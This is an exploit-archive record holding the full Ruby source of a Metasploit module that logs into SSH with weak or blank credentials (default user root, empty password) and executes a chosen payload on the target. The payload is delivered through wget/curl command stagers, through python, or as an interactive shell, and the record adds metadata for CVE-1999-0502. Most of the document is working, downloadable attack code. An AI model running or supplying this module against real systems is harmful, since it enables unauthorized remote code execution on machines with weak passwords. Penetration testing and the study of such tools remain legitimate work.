{"exploit":{"id":"MSF-multi--ssh--sshexec","name":"SSH User Code Execution","description":"This module connects to the target system and executes the necessary commands to run the specified payload via SSH. If a native payload is specified, an appropriate stager will be used.","cves":["CVE-1999-0502"],"author":"Spencer McIntyre, Brandon Knight","published":"1999-01-01","platform":"BSD,Linux,OSX,Python,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/ssh/sshexec.rb","path":"modules/exploits/multi/ssh/sshexec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"sshexec.rb","vulnerabilities":[{"id":"CVE-1999-0502","state":"PUBLISHED","title":null,"titleSource":null,"description":"A Unix account has a default, null, blank, or missing password.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0502","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0502"},"updatedAt":"2024-08-01T16:41:45.416Z","retrievedAt":"2026-11-26T13:58:54.016Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--ssh--sshexec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--ssh--sshexec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--ssh--sshexec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--ssh--sshexec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ManualRanking\n\n  include Msf::Exploit::CmdStager\n  include Msf::Exploit::Remote::SSH\n\n  attr_accessor :ssh_socket\n\n  def initialize\n    super(\n      'Name' => 'SSH User Code Execution',\n      'Description' => %q{\n        This module connects to the target system and executes the necessary\n        commands to run the specified payload via SSH. If a native payload is\n        specified, an appropriate stager will be used.\n      },\n      'Author' => ['Spencer McIntyre', 'Brandon Knight'],\n      'References' => [\n        [ 'CVE', '1999-0502'], # Weak password\n        [ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]\n      ],\n      'License' => MSF_LICENSE,\n      'Privileged' => true,\n      'DefaultOptions' => {\n        'PrependFork' => 'true',\n        'EXITFUNC' => 'process'\n      },\n      'Payload' => {\n        'Space' => 800000,\n        'BadChars' => '',\n        'DisableNops' => true\n      },\n      'CmdStagerFlavor' => %w[bourne echo printf wget],\n      'Targets' => [\n        [\n          'Linux Command',\n          {\n            'Arch' => ARCH_CMD,\n            'Platform' => 'linux'\n          }\n        ],\n        [\n          'Linux x86',\n          {\n            'Arch' => ARCH_X86,\n            'Platform' => 'linux'\n          }\n        ],\n        [\n          'Linux x64',\n          {\n            'Arch' => ARCH_X64,\n            'Platform' => 'linux'\n          }\n        ],\n        [\n          'Linux armle',\n          {\n            'Arch' => ARCH_ARMLE,\n            'Platform' => 'linux'\n          }\n        ],\n        [\n          'Linux mipsle',\n          {\n            'Arch' => ARCH_MIPSLE,\n            'Platform' => 'linux',\n            'CmdStagerFlavor' => %w[curl wget]\n          }\n        ],\n        [\n          'Linux mipsbe',\n          {\n            'Arch' => ARCH_MIPSBE,\n            'Platform' => 'linux',\n            'CmdStagerFlavor' => %w[wget]\n          }\n        ],\n        [\n          'Linux aarch64',\n          {\n            'Arch' => ARCH_AARCH64,\n            'Platform' => 'linux'\n          }\n        ],\n        [\n          'OSX x86',\n          {\n            'Arch' => ARCH_X86,\n            'Platform' => 'osx',\n            'CmdStagerFlavor' => %w[curl wget]\n          }\n        ],\n        [\n          'OSX x64',\n          {\n            'Arch' => ARCH_X64,\n            'Platform' => 'osx',\n            'CmdStagerFlavor' => %w[curl wget]\n          }\n        ],\n        [\n          'BSD x86',\n          {\n            'Arch' => ARCH_X86,\n            'Platform' => 'bsd',\n            'CmdStagerFlavor' => %w[printf curl wget]\n          }\n        ],\n        [\n          'BSD x64',\n          {\n            'Arch' => ARCH_X64,\n            'Platform' => 'bsd',\n            'CmdStagerFlavor' => %w[printf curl wget]\n          }\n        ],\n        [\n          'Python',\n          {\n            'Arch' => ARCH_PYTHON,\n            'Platform' => 'python'\n          }\n        ],\n        [\n          'Unix Cmd',\n          {\n            'Arch' => ARCH_CMD,\n            'Platform' => 'unix'\n          }\n        ],\n        [\n          'Interactive SSH',\n          {\n            'DefaultOptions' => {\n              'PAYLOAD' => 'generic/ssh/interact',\n              'WfsDelay' => 5\n            },\n            'Payload' => {\n              'Compat' => {\n                'PayloadType' => 'ssh_interact'\n              }\n            }\n          }\n        ]\n      ],\n      'DefaultTarget' => 0,\n      # For the CVE\n      'DisclosureDate' => '1999-01-01',\n      'Notes' => {\n        'Stability' => [ CRASH_SAFE, ],\n        'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],\n        'Reliability' => [ REPEATABLE_SESSION, ]\n      },\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [ true, 'The user to authenticate as.', 'root' ]),\n        OptString.new('PASSWORD', [ true, 'The password to authenticate with.', '' ]),\n        Opt::RHOST(),\n        Opt::RPORT(22)\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])\n      ]\n    )\n  end\n\n  def execute_command(cmd, _opts = {})\n    vprint_status(\"Executing #{cmd}\")\n    begin\n      Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }\n    rescue Timeout::Error\n      print_warning('Timed out while waiting for command to return')\n      @timeout = true\n    end\n  end\n\n  def do_login(ip, user, pass, port)\n    opt_hash = ssh_client_defaults.merge({\n      auth_methods: ['password', 'keyboard-interactive'],\n      port: port,\n      password: pass\n    })\n\n    opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']\n\n    begin\n      self.ssh_socket = Net::SSH.start(ip, user, opt_hash)\n    rescue Rex::ConnectionError\n      fail_with(Failure::Unreachable, 'Disconnected during negotiation')\n    rescue Net::SSH::Disconnect, ::EOFError\n      fail_with(Failure::Disconnected, 'Timed out during negotiation')\n    rescue Net::SSH::AuthenticationFailed\n      fail_with(Failure::NoAccess, 'Failed authentication')\n    rescue Net::SSH::Exception => e\n      fail_with(Failure::Unknown, \"SSH Error: #{e.class} : #{e.message}\")\n    end\n\n    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket\n  end\n\n  def binary_exists(binary, platform: nil)\n    Msf::Sessions::CommandShell.binary_exists(binary, platform: platform, &method(:execute_command))\n  end\n\n  def execute_python\n    python_binary = binary_exists('python', platform: 'unix')\n    python_binary ||= binary_exists('python3', platform: 'unix')\n    python_binary ||= binary_exists('python2', platform: 'unix')\n    fail_with(Failure::NoTarget, 'Python was not found on the target system') if python_binary.nil?\n\n    execute_command(\"echo \\\"#{payload.encoded}\\\" | #{python_binary}\")\n  end\n\n  def exploit\n    do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])\n\n    if target.name == 'Interactive SSH'\n      handler(ssh_socket)\n      return\n    end\n\n    print_status(\"#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...\")\n\n    case target['Platform']\n    when 'python'\n      execute_python\n    when 'unix'\n      execute_command(payload.encoded)\n    else\n      if target['Arch'] == ARCH_CMD\n        execute_command(payload.encoded)\n      else\n        execute_cmdstager(linemax: 500)\n      end\n    end\n\n    @timeout ? ssh_socket.shutdown! : ssh_socket.close\n  end\nend\n","sha256":"3a920ca0c02ab9853329e0f517397bb94c11b1a465dca2f984cba91302c3a1b2","bytes":6556,"fetchedAt":"2026-11-26T13:58:51.421Z","encoding":"utf-8 (display only; download retains original bytes)"}